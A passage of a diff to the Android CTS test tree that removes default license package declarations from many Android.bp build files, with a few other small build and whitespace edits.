// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestSecondApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appThirdUid/Android.bp b/tests/framework/base/windowmanager/appThirdUid/Android.bp
index 7e2616c..c333a56 100644
--- a/tests/framework/base/windowmanager/appThirdUid/Android.bp
+++ b/tests/framework/base/windowmanager/appThirdUid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestThirdApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 54ff30c..113a65d 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-wm-components-base",
srcs: ["**/ComponentsBase.java"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
index 99578c9..8b4e970 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsActivityManagerBackgroundActivityTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
index 45bb0cb..47e56e5 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBackgroundActivityAppA",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
index 42e69b5..b2482b3 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBackgroundActivityAppB",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
index 58843ed..65f6d51 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "cts-background-activity-common",
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.bp b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
index 0622ad8..4f7734d 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDragAndDropSourceApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.bp b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
index 96c9d81..bf7372b 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDragAndDropTargetApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
index d2ee968..b658c2a 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDragAndDropTargetAppSdk23",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index 5dc3218..ec0c189 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_library_import {
name: "cts_window-extensions_nodeps",
aars: ["window-extensions-release.aar"],
diff --git a/tests/framework/base/windowmanager/testsdk25/Android.bp b/tests/framework/base/windowmanager/testsdk25/Android.bp
index 3c3016f..cc90392 100644
--- a/tests/framework/base/windowmanager/testsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk25/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWindowManagerSdk25TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/testsdk28/Android.bp b/tests/framework/base/windowmanager/testsdk28/Android.bp
index d6d6d0c..67d3516 100644
--- a/tests/framework/base/windowmanager/testsdk28/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk28/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWindowManagerSdk28TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/testsdk29/Android.bp b/tests/framework/base/windowmanager/testsdk29/Android.bp
index 4d2a559..f19f7b7 100644
--- a/tests/framework/base/windowmanager/testsdk29/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk29/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWindowManagerSdk29TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/translucentapp/Android.bp b/tests/framework/base/windowmanager/translucentapp/Android.bp
index 6a3722a..9665321 100644
--- a/tests/framework/base/windowmanager/translucentapp/Android.bp
+++ b/tests/framework/base/windowmanager/translucentapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-wm-translucent-app",
srcs: ["src/**/*.java"],
diff --git a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
index 366b09c..2b5ff50 100644
--- a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
+++ b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceTranslucentTestApp26",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/util/Android.bp b/tests/framework/base/windowmanager/util/Android.bp
index 485fade..5ad5c4f 100644
--- a/tests/framework/base/windowmanager/util/Android.bp
+++ b/tests/framework/base/windowmanager/util/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-wm-app-util",
srcs: [
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index b4fb708..909ad0e 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsInputMethodTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 9ef4a44..58849e4 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "CtsMockInputMethodLib",
sdk_version: "test_current",
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 143d0c5..1d55077 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInputMethodStandaloneTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/jdwp/Android.bp b/tests/jdwp/Android.bp
index d584633..bea346d 100644
--- a/tests/jdwp/Android.bp
+++ b/tests/jdwp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "CtsJdwpTestCases",
diff --git a/tests/jdwp/runner/device-side/Android.bp b/tests/jdwp/runner/device-side/Android.bp
index 4ae6f6f..98edcf8 100644
--- a/tests/jdwp/runner/device-side/Android.bp
+++ b/tests/jdwp/runner/device-side/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "cts-dalvik-device-test-runner",
installable: true,
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index 4acb32c..a78fe2e 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -16,10 +16,6 @@
// a library component for a test, not a test. Right now, make it
// a test to retain the test_suites from the original Android.mk.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "cts-dalvik-host-test-runner",
diff --git a/tests/leanbackjank/Android.bp b/tests/leanbackjank/Android.bp
index 4f966d0..f72d1fb 100644
--- a/tests/leanbackjank/Android.bp
+++ b/tests/leanbackjank/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLeanbackJankTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/leanbackjank/app/Android.bp b/tests/leanbackjank/app/Android.bp
index 0448e15..cfcff77 100644
--- a/tests/leanbackjank/app/Android.bp
+++ b/tests/leanbackjank/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLeanbackJankApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index 67fb0b74..b6dbd78 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreJsr166TestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 47f0faa..5edde79 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreTestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index b11bc9b..6a5e8ed 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreOjTestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index 7b20ee2..fb68779 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreOkHttpTestCases",
defaults: ["cts_support_defaults"],
@@ -44,6 +40,6 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-conscrypt",
],
}
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
index d54a198..25a9dcd 100644
--- a/tests/libcore/runner/Android.bp
+++ b/tests/libcore/runner/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLibcoreTestRunner",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index 3aba80f..6b6c34b 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreWycheproofBCTestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
index 808aafb..859e82f 100644
--- a/tests/libcore/wycheproof/Android.bp
+++ b/tests/libcore/wycheproof/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreWycheproofConscryptTestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
index 2056df9..c242fcf 100644
--- a/tests/location/common/Android.bp
+++ b/tests/location/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "LocationCtsCommon",
srcs: [
diff --git a/tests/location/location_coarse/Android.bp b/tests/location/location_coarse/Android.bp
index da18247..ba53aea 100644
--- a/tests/location/location_coarse/Android.bp
+++ b/tests/location/location_coarse/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLocationCoarseTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
index 44b220b..acd0b1d 100644
--- a/tests/location/location_fine/Android.bp
+++ b/tests/location/location_fine/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLocationFineTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/location/location_gnss/Android.bp b/tests/location/location_gnss/Android.bp
index 97fb815..5748862 100644
--- a/tests/location/location_gnss/Android.bp
+++ b/tests/location/location_gnss/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "cts-location-gnss-tests",
libs: [
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
index 9666ad9..74732aa 100644
--- a/tests/location/location_none/Android.bp
+++ b/tests/location/location_none/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLocationNoneTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/location/location_privileged/Android.bp b/tests/location/location_privileged/Android.bp
index d595366..d4b87fc 100644
--- a/tests/location/location_privileged/Android.bp
+++ b/tests/location/location_privileged/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLocationPrivilegedTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index d78e2b7..686f744 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMediaV2TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/media/jni/Android.bp b/tests/media/jni/Android.bp
index d4e192c..f6d436d 100644
--- a/tests/media/jni/Android.bp
+++ b/tests/media/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsmediav2muxer_jni",
srcs: [
diff --git a/tests/mocking/Android.bp b/tests/mocking/Android.bp
index 7288500..2c000b3 100644
--- a/tests/mocking/Android.bp
+++ b/tests/mocking/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMockingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/mocking/debuggable/Android.bp b/tests/mocking/debuggable/Android.bp
index cc38656..aa8cda7 100644
--- a/tests/mocking/debuggable/Android.bp
+++ b/tests/mocking/debuggable/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMockingDebuggableTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
index 2ea11b3..da3a33c 100644
--- a/tests/mocking/extended/Android.bp
+++ b/tests/mocking/extended/Android.bp
@@ -15,10 +15,6 @@
// NOTE: when converting this file to Android.bp, verify that
// 'atest CtsExtendedMockingTestCases' succeeds.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsExtendedMockingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/mocking/inline/Android.bp b/tests/mocking/inline/Android.bp
index 65588cd..6a57df4 100644
--- a/tests/mocking/inline/Android.bp
+++ b/tests/mocking/inline/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsInlineMockingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/netlegacy22.permission/Android.bp b/tests/netlegacy22.permission/Android.bp
index 86c17ae..65948a6 100644
--- a/tests/netlegacy22.permission/Android.bp
+++ b/tests/netlegacy22.permission/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetTestCasesLegacyPermission22",
defaults: ["cts_defaults"],
diff --git a/tests/netsecpolicy/Android.bp b/tests/netsecpolicy/Android.bp
index 42279f9..b54debb 100644
--- a/tests/netsecpolicy/Android.bp
+++ b/tests/netsecpolicy/Android.bp
@@ -11,10 +11,6 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecPolicyUsesCleartextTrafficFalse",
defaults: ["cts_support_defaults"],
diff --git a/tests/openglperf2/jni/Android.bp b/tests/openglperf2/jni/Android.bp
index bc4ef5e..e6a3a9a 100644
--- a/tests/openglperf2/jni/Android.bp
+++ b/tests/openglperf2/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libctsopengl_jni",
diff --git a/tests/pdf/Android.bp b/tests/pdf/Android.bp
index 8499f71..66f91d5 100644
--- a/tests/pdf/Android.bp
+++ b/tests/pdf/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPdfTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/providerui/Android.bp b/tests/providerui/Android.bp
index 4556ca8..edc4bd0 100644
--- a/tests/providerui/Android.bp
+++ b/tests/providerui/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsProviderUiTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/quickaccesswallet/Android.bp b/tests/quickaccesswallet/Android.bp
index 14c79f3..1572e69 100644
--- a/tests/quickaccesswallet/Android.bp
+++ b/tests/quickaccesswallet/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsQuickAccessWalletTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 63e33c9..3b3e617 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsRollbackManagerTestCases",
srcs: ["src/**/*.java"],
diff --git a/tests/sample/Android.bp b/tests/sample/Android.bp
index bb4eaa2..d2c02da 100644
--- a/tests/sample/Android.bp
+++ b/tests/sample/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSampleDeviceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/security/Android.bp b/tests/security/Android.bp
index 018598d..12168cc 100644
--- a/tests/security/Android.bp
+++ b/tests/security/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-security-test-support-library",
static_libs: [
diff --git a/tests/sensor/Android.bp b/tests/sensor/Android.bp
index 9e6e552..4930c6f 100644
--- a/tests/sensor/Android.bp
+++ b/tests/sensor/Android.bp
@@ -15,10 +15,6 @@
//
// Reusable Sensor test classes and helpers
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-sensors-tests",
defaults: ["cts_error_prone_rules_tests"],
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index 74ad99b..6915db3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -61,7 +61,6 @@
s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
continue;
}
-
if (!s.isAdditionalInfoSupported()) {
// check SensorAdditionalInfo is supported for Automotive sensors.
if (getContext().getPackageManager().hasSystemFeature(
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
index 78ea10e..5cadd88 100644
--- a/tests/signature/Android.bp
+++ b/tests/signature/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// Compat.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "signature-hostside",
visibility: [
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index 3f686c2..d4dfc5f 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libclassdescriptors",
@@ -95,3 +91,4 @@
"libcts_dexchecker",
],
}
+
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
index b4cd1a2..8717b17 100644
--- a/tests/signature/api-check/android-test-base-28-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAndroidTestBase28ApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
index 8353135..52ed46b 100644
--- a/tests/signature/api-check/android-test-base-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
index 52fbe50..d017870 100644
--- a/tests/signature/api-check/android-test-mock-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
index 5a5b258..d8fdad2 100644
--- a/tests/signature/api-check/android-test-runner-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
index dab62ce..aca1897 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
index e47f82c..9ae437a 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
index c02629f..2b414c3 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
index 4114272..04eced6 100644
--- a/tests/signature/api-check/current-api/Android.bp
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCurrentApiSignatureTestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
index 86cb1ee..bf603a7 100644
